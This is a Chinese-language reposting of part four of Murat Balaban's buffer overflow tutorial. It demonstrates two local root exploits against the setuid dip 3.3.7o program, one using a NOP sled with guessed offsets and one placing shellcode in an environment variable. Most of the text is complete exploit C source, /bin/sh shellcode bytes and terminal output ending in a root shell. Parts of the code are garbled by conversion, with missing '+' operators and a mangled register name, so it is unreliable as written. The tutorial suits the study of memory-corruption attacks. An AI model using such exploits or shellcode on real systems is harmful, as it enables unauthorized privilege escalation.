当前位置: 代码网 > 服务器>网络安全>加密解密 > 缓冲区溢出解密四

缓冲区溢出解密四

2008年10月08日 加密解密 我要评论
缓冲区溢出解密四 来自Aleph1的文章: “可见这不是一个有效的过程。甚至在知道堆栈开始的位置时,试图猜测偏移地址几乎是不可能的。好的情况下我会需要上百次尝试,坏的情况下会要上千次。问... 08-10-08
记得我们之前为了找到校正所作的吗?
#define buf 130
#define nop 0x90
#define align 1
你已经知道下面是我们的shell生成码:
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
这个子程序返回堆栈指针的值。如我以前告诉你们的,这不是漏洞程序的esp。它是我们漏洞利用程序的esp,而我们利用这个值仅仅来知道内存中漏洞程序堆栈指针可能的位置。它仅仅是考虑到一个范围:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
我们的main():arg[5]是为了execve(),buf[]是我们将供给漏洞缓冲区的。*ap(代表地址指针)是和buf[]的地址联系在一起的。
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[buf];
int *ap;
如果这个”漏洞利用者”输入一些值作为一个偏移量,我们从提示的esp中减去这个值,如果没有,我们使用0xbfffd779做为shellcode的地址。我在用gdb调试dip的时候发现了这个地址。它是一个预先知道的值。
if (argc < 2)
ret = 0xbfffd779;
else
ret = getesp() - atoi(argv[1]); 我们让地址指针指向buf aligment的地址:
ap = (int *)(buf alignment);
我们校正我们的缓冲区后,我们先放置返回地址到整个缓冲区:
for (i = 0 ; i < buf; i = 4)
*ap = ret;
我们将一些null操作指令填到缓冲区的前半部:
for (i = 0; i < buf / 2; i )
buf[i] = nop;
在nop后面,我们放置我们的shellcode:
for (n = 0; n < strlen(sc); n )
buf[i ] = sc[n];
我们为execve()准备参数,如果你不明白这个去读execve的手册页:
arg[0] = "/usr/sbin/dip";
arg[1] = "-k";
arg[2] = "-l";
arg[3] = buf;
arg[4] = null;

注意上面我提供buf给-l选项。
接着我们execve(),如果一个错误产生了,我们通过perror()得到这个错误:
execve(arg[0], arg, null);
perror(execve);

让我们执行:
[murat@victim murat]$ make xdip2
[murat@victim murat]$ ./xdip2
dip: dialup ip protocol driver version 3.3.7o-uri (8 feb 96)
written by fred n. van kempen, microwalt corporation. dip: cannot open /var/lock/lck..sh#
[murat@victim murat]$ make xdip2
make: `xdip2' is up to date.
[murat@victim murat]$ ./xdip2
dip: dialup ip protocol driver version 3.3.7o-uri (8 feb 96)
written by fred n. van kempen, microwalt corporation. dip: cannot open /var/lock/lck..
bash#
如果我们不知道确切的地址,我们需要猜测偏移量。让我们假设我们不知道这个地址:
让我们首先试以-400作为偏移量:
[murat@victim murat]$ ./xdip2 -400
dip: dialup ip protocol driver version 3.3.7o-uri (8 feb 96)
written by fred n. van kempen, microwalt corporation. dip: cannot open /var/lock/lck..~p~p~p~p~p~p~p~p~p~p~~p~p~p~~p~p~p~p~
~p~p~p~p~p~p~p~p~p~p~p~p~p~~p~p~p~p~p &ucirc;&yuml;: no such file or directory
segmentation fault
[murat@victim murat]$

啊,让我们试-350:
[murat@victim murat]$ ./xdip2 -350
dip: dialup ip protocol driver version 3.3.7o-uri (8 feb 96)
written by fred n. van kempen, microwalt corporation. dip: cannot open /var/lock/lck..~p~p~p~p~p~p~p~p~p~p~~p~p~p~~p~p~p~p~
~p~p~p~p~p~p~p~p~p~p~p~p~p~~p~p~p~p~p &ucirc;&yuml;: no such file or directory
illegal instruction
[murat@victim murat]$
让我们进行另一个猜测:
[murat@victim murat]$ ./xdip2 -300
dip: dialup ip protocol driver version 3.3.7o-uri (8 feb 96)
written by fred n. van kempen, microwalt corporation. dip: cannot open /var/lock/lck..~p~p~p~p~p~p~p~p~p~p~~p~p~p~~p~p~p~p~
~p~p~p~p~p~p~p~p~p~p~p~p~p~~p~p~p~p~p
&ucirc;&yuml;: no such file or directory
bash#

然而,如你所见,猜测正确偏移量是非常乏味的。
现在是环境变量方法:
xdip.c :
#include <stdio.h>
#include <string.h>
#include <unistd.h> #define bufsize 221
#define alignment 1 char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; void main()
{
char *env[3] = {sc, null};
char buf[bufsize];
int i;
int *ap = (int *)(buf alignment);
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip"); for (i = 0; i < bufsize - 4; i = 4)
*ap = ret; execle("/usr/sbin/dip", "dip", "-k", "-l", buf, null, env);
}
让我来详细说明这个漏洞利用程序:
我们的main()。我们有一个字母指针数组。因为我们能计算环境指针的地址,我们把shellcode放到第一个环境变量的位置。
void main()
{
char *env[2] = {sc, null};
char buf[bufsize];
int i; address pointer points to the aligned address of buffer:
int *ap = (int *)(buf alignment);

我们计算我们shellcode的地址。关于我们如何计算地址的细节见上面: int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");
从缓冲区的第一个对齐的地址开始,我们放置shellcode的计算地址。我们以四为步长增加i,因为当我们以1为步长增加一个指针的时候,意味
着我们每次对其增加了4个字节。 for (i = 0; i < bufsize - 4; i = 4)
*ap = ret;
接着我们execle()漏洞程序: execle("/usr/sbin/dip", "dip", "-k", "-l", buf, null, env);
因为不需要尝试和猜测,第一次我们就得到root!
[murat@victim murat]$ ./xdip
dip: dialup ip protocol driver version 3.3.7o-uri (8 feb 96)
written by fred n. van kempen, microwalt corporation. dip: cannot open
/var/lock/lck..h&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;
&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;
&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;
&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;
&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;
&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;
&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;
&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;
&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;
&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;
&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;&yuml;&yuml;&iquest;&otilde;
&yuml;&yuml;:
no such file or directory
bash#

因此,两个方法之间的基本不同之处能被列成:
项目 aleph1的方法 环境变量方法
-------------------- --------------------- ------------------------ 漏洞缓冲区 一半缓冲区被nop填充, 全部缓冲区用地址填充
接着是shellcode,然后
是地址
sc的放置 我们放置sc在漏洞缓冲 我们放置sc在传递给execve
区里 ()的环境指针里
sc的地址 我们试着猜测sc的地址 我们*知道*sc的地址 小缓冲区 如果sc在缓冲区中不 因为我们已经不把sc放在缓
合适,就很难利用漏洞 冲区,这个就无关紧要了。仅
如果你选择把sc放到 仅4个字节就够了!
环境指针里你将必
须猜测环境指针的
地址
diffic. level somewhat harder easier!
最后的文字和致谢
这篇文章原来实际上使用土耳其语写的。由于翻译成英语或者其它语言有很多要求,而且实际上环境变量方法仍然缺少文档,而我认为用英文准备一篇这样的文章是一个很好的主意,还有介绍一个更加易懂的shellcode等等,我就写了这篇文章。这里可能有一些模糊的地方或者甚至是一些需要改正的错误信息。如果你碰巧遇到额,给我email,我将改正它。先行致谢。 - murat balaban 致谢:a, matsuri, gargoyle
参考书目: ---------- 0. pc assembly book by paul a. carter. (http://www.drpaulcarter.com/pcasm/) 1. "smashing the stack for fun and profit" by aleph1 2.我在许多地方看到过这里我讨论的shellcode。我真的不知道谁第一个写的它所以如果你知道,请告诉我,这样我能在这里加上。

(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com